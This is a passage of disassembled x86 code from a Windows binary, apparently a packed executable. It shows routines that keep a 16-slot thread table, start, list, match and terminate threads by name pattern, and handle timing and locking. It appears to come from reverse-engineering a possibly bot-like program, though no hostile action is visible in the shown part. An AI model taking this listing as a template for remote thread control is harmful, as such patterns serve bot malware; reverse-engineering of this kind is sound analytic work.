		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE
		pop	ecx
		pop	ecx
		call	sub_416CF8
		mov	dword_41E3B0, eax
		jmp	short locret_4092A2
; ---------------------------------------------------------------------------


loc_40928E:				; CODE XREF: sub_409226+1Ej
					; sub_409226+26j ...
		call	dword_4170D0
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_41E3B0, eax

locret_4092A2:				; CODE XREF: sub_409226+66j
		leave
		retn
sub_409226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A4	proc near		; CODE XREF: sub_4083AD+61p
					; sub_40A9CF+1CCAp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4
		cmp	[ebp+var_4], 0
		jl	short loc_409307
		jg	short loc_4092CC
		cmp	[ebp+var_8], 0
		jbe	short loc_409307


loc_4092CC:				; CODE XREF: sub_4092A4+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409307
		jg	short loc_4092DA
		cmp	[ebp+var_10], 0
		jbe	short loc_409307


loc_4092DA:				; CODE XREF: sub_4092A4+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE
		pop	ecx
		pop	ecx
		call	sub_416CF8
		jmp	short locret_409316
; ---------------------------------------------------------------------------


loc_409307:				; CODE XREF: sub_4092A4+1Ej
					; sub_4092A4+26j ...
		call	dword_4170D0
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

locret_409316:				; CODE XREF: sub_4092A4+61j
		leave
		retn
sub_4092A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409318	proc near		; CODE XREF: sub_408B30:loc_408BBCp
					; sub_40A9CF:loc_40C715p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4
		cmp	[ebp+var_4], 0
		jl	short loc_409381
		jg	short loc_409340
		cmp	[ebp+var_8], 0
		jbe	short loc_409381


loc_409340:				; CODE XREF: sub_409318+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409381
		jg	short loc_40934E
		cmp	[ebp+var_10], 0
		jbe	short loc_409381


loc_40934E:				; CODE XREF: sub_409318+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE
		pop	ecx
		pop	ecx
		call	sub_416CF8
		sub	eax, dword_41E3B0
		jmp	short locret_40938D
; ---------------------------------------------------------------------------


loc_409381:				; CODE XREF: sub_409318+1Ej
					; sub_409318+26j ...
		call	dword_4170D0
		sub	eax, dword_41E3B0

locret_40938D:				; CODE XREF: sub_409318+67j
		leave
		retn
sub_409318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938F	proc near		; CODE XREF: .packed:004168C6p
		push	ebp
		mov	ebp, esp
		and	dword_41E3D0, 0
		push	1980h
		call	sub_416B46
		pop	ecx
		mov	dword_41E3D8, eax
		push	offset dword_41E3B8
		call	sub_409C36
		pop	ecx
		pop	ebp
		retn
sub_40938F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093B6	proc near		; DATA XREF: sub_409479+35o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417278
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		push	[ebp+var_20]
		call	dword_4170DC
		test	eax, eax
		jz	short loc_409431
		cmp	dword_41DF18, 0
		jz	short loc_40942F
		push	[ebp+var_20]
		push	offset dword_419474
		push	offset dword_41DB90
		call	sub_40D4AB
		add	esp, 0Ch


loc_40942F:				; CODE XREF: sub_4093B6+62j
		jmp	short loc_409443
; ---------------------------------------------------------------------------


loc_409431:				; CODE XREF: sub_4093B6+59j
		push	[ebp+var_1C]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]
		jmp	short loc_409468
; ---------------------------------------------------------------------------


loc_409443:				; CODE XREF: sub_4093B6:loc_40942Fj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_409466
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_409466:				; CODE XREF: sub_4093B6+91j
		xor	eax, eax


loc_409468:				; CODE XREF: sub_4093B6+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4093B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409479	proc near		; CODE XREF: sub_40764D+14Ap
					; sub_409BF1+2Fp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	8
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_409494
		xor	eax, eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_409494:				; CODE XREF: sub_409479+15j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_C]
		push	offset sub_4093B6
		push	20000h
		push	0
		call	sub_416DC0
		add	esp, 18h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4094D9
		push	[ebp+var_4]
		call	dword_4170A4
		push	1
		pop	eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_4094D9:				; CODE XREF: sub_409479+50j
		push	[ebp+var_C]
		call	sub_416B4C
		pop	ecx
		xor	eax, eax

locret_4094E4:				; CODE XREF: sub_409479+19j
					; sub_409479+5Ej
		leave
		retn
sub_409479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094E6	proc near		; DATA XREF: sub_4095A4+159o

var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417288
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_41DF10
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+10h]
		mov	[ebp+var_1A0], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		mov	[ebp+var_1A4], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1A4]
		jmp	short loc_409593
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_409593:				; CODE XREF: sub_4094E6+8Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4094E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A4	proc near		; CODE XREF: sub_4017AA+A2p
					; sub_401D6E+8Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		cmp	dword_41E3D0, 10h
		jnz	short loc_4095D9
		push	[ebp+arg_4]
		call	sub_416B4C
		pop	ecx
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_4095D9:				; CODE XREF: sub_4095A4+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_409627
		and	[ebp+var_10], 0
		jmp	short loc_4095EC
; ---------------------------------------------------------------------------


loc_4095E5:				; CODE XREF: sub_4095A4:loc_409625j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4095EC:				; CODE XREF: sub_4095A4+3Fj
		cmp	[ebp+var_10], 10h
		jge	short loc_409627
		mov	eax, [ebp+var_10]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		mov	eax, [ecx+eax+10h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409625
		push	[ebp+arg_4]
		call	sub_416B4C
		pop	ecx
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409625:				; CODE XREF: sub_4095A4+64j
		jmp	short loc_4095E5
; ---------------------------------------------------------------------------


loc_409627:				; CODE XREF: sub_4095A4+39j
					; sub_4095A4+4Cj
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		jmp	short loc_409638
; ---------------------------------------------------------------------------


loc_409631:				; CODE XREF: sub_4095A4:loc_409672j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_409638:				; CODE XREF: sub_4095A4+8Bj
		cmp	[ebp+var_8], 10h
		jge	short loc_409674
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jnz	short loc_409672
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_409674
; ---------------------------------------------------------------------------


loc_409672:				; CODE XREF: sub_4095A4+AEj
		jmp	short loc_409631
; ---------------------------------------------------------------------------


loc_409674:				; CODE XREF: sub_4095A4+98j
					; sub_4095A4+CCj
		cmp	[ebp+var_C], 0
		jnz	short loc_409695
		push	[ebp+arg_4]
		call	sub_416B4C
		pop	ecx
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409695:				; CODE XREF: sub_4095A4+D4j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096A3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx


loc_4096A3:				; CODE XREF: sub_4095A4+F5j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_C]
		add	eax, 14h
		push	eax
		call	sub_416DC6
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+4], 0
		mov	eax, dword_41E3D0
		inc	eax
		mov	dword_41E3D0, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_4096EB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		jmp	short loc_4096F1
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_4095A4+13Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax


loc_4096F1:				; CODE XREF: sub_4095A4+145j
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		push	eax
		push	0
		push	[ebp+var_14]
		push	offset sub_4094E6
		push	0
		push	0
		call	sub_416DC0
		add	esp, 18h
		mov	ecx, [ebp+var_C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_409753
		push	[ebp+arg_4]
		call	sub_416B4C
		pop	ecx
		mov	eax, dword_41E3D0
		dec	eax
		mov	dword_41E3D0, eax
		push	198h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short locret_409761
; ---------------------------------------------------------------------------


loc_409753:				; CODE XREF: sub_4095A4+177j
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		push	1
		pop	eax

locret_409761:				; CODE XREF: sub_4095A4+30j
					; sub_4095A4+7Cj ...
		leave
		retn
sub_4095A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409763	proc near		; CODE XREF: sub_401244+73p
					; sub_401244+547p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E3D0
		dec	eax
		mov	dword_41E3D0, eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	dword_4170A4
		push	198h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A
		add	esp, 0Ch
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		pop	ebp
		retn
sub_409763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097A7	proc near		; CODE XREF: sub_40A9CF+EBFp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4097BB
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_4097BB:				; CODE XREF: sub_4097A7+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409825
		push	[ebp+arg_0]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		mov	dword ptr [ecx+eax+4], 1


loc_409815:				; CODE XREF: sub_4097A7+3Fj
					; sub_4097A7+55j
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_409825:				; CODE XREF: sub_4097A7+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_416BAE
		add	esp, 10h
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E3D0
		mov	[ebp+var_8], eax
		and	[ebp+var_194], 0
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_4097A7:loc_4098E1j
		mov	eax, [ebp+var_194]
		inc	eax
		mov	[ebp+var_194], eax


loc_40986A:				; CODE XREF: sub_4097A7+B4j
		cmp	[ebp+var_194], 10h
		jnb	short loc_4098E6
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4098E1
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4098D9
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		mov	dword ptr [ecx+eax+4], 1


loc_4098D9:				; CODE XREF: sub_4097A7+116j
		cmp	[ebp+var_8], 0
		jnz	short loc_4098E1
		jmp	short loc_4098E6
; ---------------------------------------------------------------------------


loc_4098E1:				; CODE XREF: sub_4097A7+E3j
					; sub_4097A7+136j
		jmp	loc_40985D
; ---------------------------------------------------------------------------


loc_4098E6:				; CODE XREF: sub_4097A7+CAj
					; sub_4097A7+138j
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx

locret_4098F1:				; CODE XREF: sub_4097A7+Fj
					; sub_4097A7+79j
		leave
		retn
sub_4097A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F3	proc near		; CODE XREF: sub_40A9CF+F13p

var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 19Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_409907
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_409907:				; CODE XREF: sub_4098F3+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	loc_4099B4
		push	[ebp+arg_0]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_4099A4
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4099A4
		mov	eax, dword_41E3D0
		dec	eax
		mov	dword_41E3D0, eax
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_8], eax
		push	198h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		add	ecx, eax
		push	ecx
		call	sub_416B6A
		add	esp, 0Ch
		push	0
		push	[ebp+var_8]
		call	dword_4170E0
		push	[ebp+var_8]
		call	dword_4170A4


loc_4099A4:				; CODE XREF: sub_4098F3+43j
					; sub_4098F3+59j
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_4099B4:				; CODE XREF: sub_4098F3+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_416BAE
		add	esp, 10h
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E3D0
		mov	[ebp+var_C], eax
		and	[ebp+var_198], 0
		jmp	short loc_4099F9
; ---------------------------------------------------------------------------


loc_4099EC:				; CODE XREF: sub_4098F3:loc_409AC3j
		mov	eax, [ebp+var_198]
		inc	eax
		mov	[ebp+var_198], eax


loc_4099F9:				; CODE XREF: sub_4098F3+F7j
		cmp	[ebp+var_198], 10h
		jnb	loc_409AC8
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jz	loc_409AC3
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_194]
		push	eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409ABB
		mov	eax, dword_41E3D0
		dec	eax
		mov	dword_41E3D0, eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_19C], eax
		push	198h
		push	0
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		add	ecx, eax
		push	ecx
		call	sub_416B6A
		add	esp, 0Ch
		push	0
		push	[ebp+var_19C]
		call	dword_4170E0
		push	[ebp+var_19C]
		call	dword_4170A4


loc_409ABB:				; CODE XREF: sub_4098F3+161j
		cmp	[ebp+var_C], 0
		jnz	short loc_409AC3
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------


loc_409AC3:				; CODE XREF: sub_4098F3+12Aj
					; sub_4098F3+1CCj
		jmp	loc_4099EC
; ---------------------------------------------------------------------------


loc_409AC8:				; CODE XREF: sub_4098F3+10Dj
					; sub_4098F3+1CEj
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx

locret_409AD3:				; CODE XREF: sub_4098F3+Fj
					; sub_4098F3+BCj
		leave
		retn
sub_4098F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD5	proc near		; DATA XREF: sub_409BF1+2Ao

var_1A8		= byte ptr -1A8h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	1A3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		cmp	dword_41E3D0, 0
		jz	short loc_409B25
		push	10h
		push	dword_41E3D0
		push	offset dword_4194EC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_409B3F
; ---------------------------------------------------------------------------


loc_409B25:				; CODE XREF: sub_409AD5+30j
		push	offset dword_4194CC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	locret_409BED
; ---------------------------------------------------------------------------


loc_409B3F:				; CODE XREF: sub_409AD5+4Ej
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		and	[ebp+var_10], 0
		and	[ebp+var_4], 0
		jmp	short loc_409B5B
; ---------------------------------------------------------------------------


loc_409B54:				; CODE XREF: sub_409AD5:loc_409BDBj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_409B5B:				; CODE XREF: sub_409AD5+7Dj
		cmp	[ebp+var_4], 10h
		jge	short loc_409BE0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409BDB
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		push	3E8h
		call	dword_41709C
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		lea	eax, [ecx+eax+14h]
		push	eax
		push	[ebp+var_4]
		push	offset dword_4194BC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+4], 0
		jz	short loc_409BDB
		jmp	short loc_409BE0
; ---------------------------------------------------------------------------


loc_409BDB:				; CODE XREF: sub_409AD5+A0j
					; sub_409AD5+102j
		jmp	loc_409B54
; ---------------------------------------------------------------------------


loc_409BE0:				; CODE XREF: sub_409AD5+8Aj
					; sub_409AD5+104j
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax

locret_409BED:				; CODE XREF: sub_409AD5+65j
		leave
		retn	4
sub_409AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BF1	proc near		; CODE XREF: sub_40A9CF+AFBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A3h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_409C0B
		jmp	short locret_409C34
; ---------------------------------------------------------------------------


loc_409C0B:				; CODE XREF: sub_409BF1+16j
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	offset sub_409AD5
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short locret_409C34
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx

locret_409C34:				; CODE XREF: sub_409BF1+18j
					; sub_409BF1+38j
		leave
		retn
sub_409BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C36	proc near		; CODE XREF: sub_405FA3+9p
					; sub_40938F+1Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	18h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A
		add	esp, 0Ch
		cmp	dword_41DF20, 0
		jz	short loc_409C61
		push	80000400h
		push	[ebp+arg_0]
		call	dword_41DF20	; InitializeCriticalSectionAndSpinCount
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------


loc_409C61:				; CODE XREF: sub_409C36+19j
		push	[ebp+arg_0]
		call	dword_4170E4


loc_409C6A:				; CODE XREF: sub_409C36+29j
		pop	ebp
		retn
sub_409C36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6C	proc near		; CODE XREF: sub_406041+10p
					; sub_4095A4+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170EC
		pop	ebp
		retn
sub_409C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C7A	proc near		; CODE XREF: sub_406041+26p
					; sub_406041+307p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_41710C
		pop	ebp
		retn
sub_409C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C88	proc near		; CODE XREF: sub_40332B+10p
					; sub_41113B+7EDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C9D	proc near		; CODE XREF: sub_4042FB+17p
					; sub_4042FB+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CB1	proc near		; CODE XREF: sub_409DD0+202p

var_38		= dword	ptr -38h
